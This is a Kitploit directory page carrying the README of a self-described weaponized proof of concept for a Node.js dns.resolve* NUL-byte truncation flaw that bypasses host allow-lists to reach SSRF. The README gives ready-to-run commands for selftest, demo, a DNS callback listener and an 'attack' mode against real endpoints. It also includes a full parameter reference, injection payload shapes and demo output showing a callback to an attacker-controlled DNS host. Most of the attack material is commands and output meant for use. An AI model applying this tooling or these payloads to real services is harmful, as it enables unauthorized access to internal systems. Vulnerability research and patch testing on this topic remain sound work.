Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-105482-POC — Weaponized POC for CVE-2026-105482: Node.js dns.resolve* NUL-byte truncation bypasses host allow-lists to enable SSRF, with selftest, demo, DNS callback listener and attack modes. | Kitploit
उपकरण/GitHubGitHub/catermaozi/cve-2026-105482-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed TeamingDNS Analysis
GitHubcatermaozi/cve-2026-105482-poc

CVE-2026-105482-POC

Weaponized POC for CVE-2026-105482: Node.js dns.resolve* NUL-byte truncation bypasses host allow-lists to enable SSRF, with selftest, demo, DNS callback listener and attack modes.

रिपॉजिटरी देखें
9224 अक्टू॰ 2026अभी तक समीक्षित नहीं

संबंधित टूल

  • nuclei

    तेज़ YAML-आधारित भेद्यता स्कैनर, जिसमें वेब ऐप्स, एपीआई, नेटवर्क, DNS और क्लाउड इंफ्रास्ट्रक्चर में स्वचालित सुरक्षा परीक्षण के लिए टेम्पलेट-संचालित डिटेक्शन इंजन है।

  • zaproxy

    स्वचालित भेद्यता का पता लगाने, मैनुअल पेनिट्रेशन टेस्टिंग, और प्रॉक्सी-आधारित इंटरसेप्शन इंजन के साथ API सुरक्षा परीक्षण के लिए ओपन-सोर्स वेब एप्लिकेशन सुरक्षा स्कैनर।

  • openvas-scanner

    इस रिपॉजिटरी में Greenbone Community Edition के लिए स्कैनर घटक शामिल है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    Callisto

    jetp1ane/callisto

    स्वचालित बाइनरी भेद्यता विश्लेषण उपकरण जो Ghidra के माध्यम से निष्पादन योग्य फ़ाइलों को डीकंपाइल करता है, Semgrep के साथ स्यूडो-सी कोड को स्कैन करता है, और गलत सकारात्मकता को कम करने के लिए GPT-3.5-Turbo का उपयोग करके निष्कर्षों को मान्य करता है।

    2.2k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    840
  • 3

    DFRoot

    a2333c/dfroot

    Samsung Galaxy S25 Ultra (SM-S938B) के लिए Android रूट टूल जो बूट पर KernelSU के माध्यम से स्वचालित रूप से रूट प्राप्त करने के लिए DirtyFrag CVE-2026-43284 और CVE-2026-43499 को चेन करता है।

    451
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    378
  • 5

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    352
  • 6

    wifit3

    derv82/wifit3

    Wifite, लेकिन केवल USB और क्रॉस-प्लेटफ़ॉर्म।

    333

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
अनुरोधित भाषा में सामग्री उपलब्ध नहीं है। अंग्रेज़ी संस्करण दिखाया जा रहा है।

CVE-2026-105482 — Node.js dns.resolve* NUL Byte Truncation

Host allowlist bypass → SSRF. Weaponized, end-to-end tested and verified.

CVE Affected Versions Python Dependencies License Sister Repository


Vulnerability Details

"attacker.example\0.trusted.corp".endsWith(".trusted.corp")  // true

dns.resolve4() hands this string to c-ares, and c-ares treats it as a C string, silently stopping at the first 0x00. The application validates the full string, but what gets resolved on the network is only the part before the NUL.

应用层校验 : attacker.example\0.trusted.corp   -> 判定在白名单内
解析器收到 : attacker.example                  -> 攻击者自己的 DNS 服务器

Any DNS domain name an attacker can control thus slips through a filter that believed it was only allowing internal hosts.


Affected Versions

Version LineAffectedFixed Version
22.x< 22.23.422.23.4
24.x< 24.22.124.22.1
26.x< 26.12.126.12.1
All EOL version linesNot fixed—

Only the c-ares path is affected: dns.resolve4, dns.resolve6, dns.resolveAny, dns.resolve, dns.resolveCname, dns.resolveMx …… dns.lookup() uses getaddrinfo() and is not affected. For the full tested list, see Reachability Matrix.


Quick Start

./run.sh                # 环境检查 + selftest + 端到端 demo

Windows:

run.bat

No third-party dependencies. Only the Python 3.8+ standard library is required, along with node in PATH.

Manual invocation:

python3 cve_2026_105482.py selftest   # 判断当前运行时是否受影响
python3 cve_2026_105482.py demo       # 打穿自带的存在漏洞的 mock 服务
python3 cve_2026_105482.py dnsd       # 独立的 DNS 回调监听器
python3 cve_2026_105482.py attack …   # 对真实接口发起注入

Mode Details

selftest — Differential Probing

Starts a local DNS server, runs a matrix of API calls, and then reports which calls actually passed the truncated name to c-ares. This is a behavioral test, not a version-number comparison — it works equally well against runtimes that have been patched and recompiled, or that have backported the fix themselves.

=== local runtime matrix ===
node: v22.16.0
  case             api          host (NUL shown as \0)               outcome    truncated?
  baseline         resolve4     nul-canary-3xiai1.example.invalid    resolved   no
  nul-resolve4     resolve4     nul-canary-3xiai1\0.trusted.corp     resolved   YES
  nul-resolveAny   resolveAny   nul-canary-3xiai12\0.trusted.corp    error      YES
  nul-reverse      reverse      127.0.0.1\0.trusted.corp             error      no
  nul-lookup       lookup       nul-canary-3xiai13\0.trusted.corp    error      no

  resolver saw: ['nul-canary-3xiai1.example.invalid', 'nul-canary-3xiai1', 'nul-canary-3xiai12']

[-] VULNERABLE - dns.resolve* truncated the name at the NUL byte

nul-lookup and nul-reverse are counterexamples: they can help you avoid wasting a day on an interface that uses getaddrinfo.

demo — Full exploit chain, no target required

Start a mock service

if (!target.toLowerCase().endsWith(".trusted.corp")) return deny();
dns.resolve4(target, cb);
--- 1) control: a name outside the zone is rejected ---
    status=403 body=DENY whitelist: "plain.example.com"

--- 2) attack: 'evil\0.trusted.corp' passes the allow-list ---
[+] CALLBACK  8et8143.attacker.example  A  from 127.0.0.1:53318
    status=200 body=RESOLVED "8et8143.attacker.example\u0000.trusted.corp" -> 203.0.113.7

[+] DEMO PASSED - allow-list said yes, DNS actually queried '8et8143.attacker.example'

dnsd — Callback Listener

A minimal, semi-authoritative UDP DNS server. It logs every query and responds to A/AAAA, so that the subsequent stages of the SSRF chain can keep running.

python3 cve_2026_105482.py dnsd --listen 0.0.0.0:5353 --log hits.jsonl

When the target's parser can connect directly to you, use it and skip the listener built into attack.

attack — Attack the real interface

python3 cve_2026_105482.py attack \
    --url https://target.tld/api/fetch --method POST \
    --format json --param url \
    --suffix .trusted.corp \
    --evil 7f3a.oob.example \
    --dns-listen 0.0.0.0:5353 --dns-log hits.jsonl

Exit code 0 indicates a callback was received — the allowlist has been bypassed.


attack Parameter Reference

ParameterDefaultPurpose
--urlrequiredThe endpoint that will ultimately call dns.resolve*
--methodPOSTHTTP method
--formatjsonjson · form · query · raw · header
--paramurlField name / query parameter name / header name to inject into
--suffix—Allowlist suffix to preserve, e.g. .trusted.corp (repeatable)
--suffix-file—One suffix per line; # comments allowed
--evilrandomDomain under your control
--evil-domain—Generate <随机>.<该值> instead of a fixed name
--host-template{evil}\0{suffix}Fully control the shape of the injected string
--wrap-urloffAlso try http://<payload>/ and https://<payload>/
--body-template—Raw request body, using the {payload} placeholder
--header—Additional request headers, Name: value (repeatable)
--proxy—Route through an intercepting proxy
--timeout15Per-request timeout (seconds)
--wait2.0Wait time before checking for a callback
--dns-listen—Start the built-in listener, 0.0.0.0:5353
--dns-answer203.0.113.7A record returned by the listener
--dns-log—Append each hit to a JSONL file

Injection Shapes Worth Trying

# 1. JSON body 里的裸主机名
--format json --param url

# 2. 接口要求传入完整 URL
--format json --param url --wrap-url

# 3. 值被嵌进 HTML / 模板的场景
--host-template '<img src="http://{evil}\0{suffix}/x">'

# 4. form 表单上传处理
--format form --param callback_url

# 5. 一次跑多个白名单域
--suffix .trusted.corp --suffix .internal.example --suffix .svc.cluster.local

Why it works, and where it doesn't

PathUsableNotes
JSON body → dns.resolve4Yes\u0000 can pass through JSON.parse
Form field → dns.resolve4YesSame string path
Message queue / config entryYesAny carrier that ultimately produces a JS string
new URL("http://a%00.b/")NoThrows an exception directly — %00 is rejected
http.request({ host })NoNUL is rejected when constructing the Host header
fetch()NoGoes through URL
dns.lookup()NoGoes through getaddrinfo, not c-ares
dns.reverse()NoRejected first by inet_pton

The NUL must be handed to dns.resolve* intact, as a JavaScript string. Usually this means: a JSON body, a form field decoded by the application itself, a queue message, or a stored config value.


Where it pays off

टूल डाउनलोड करें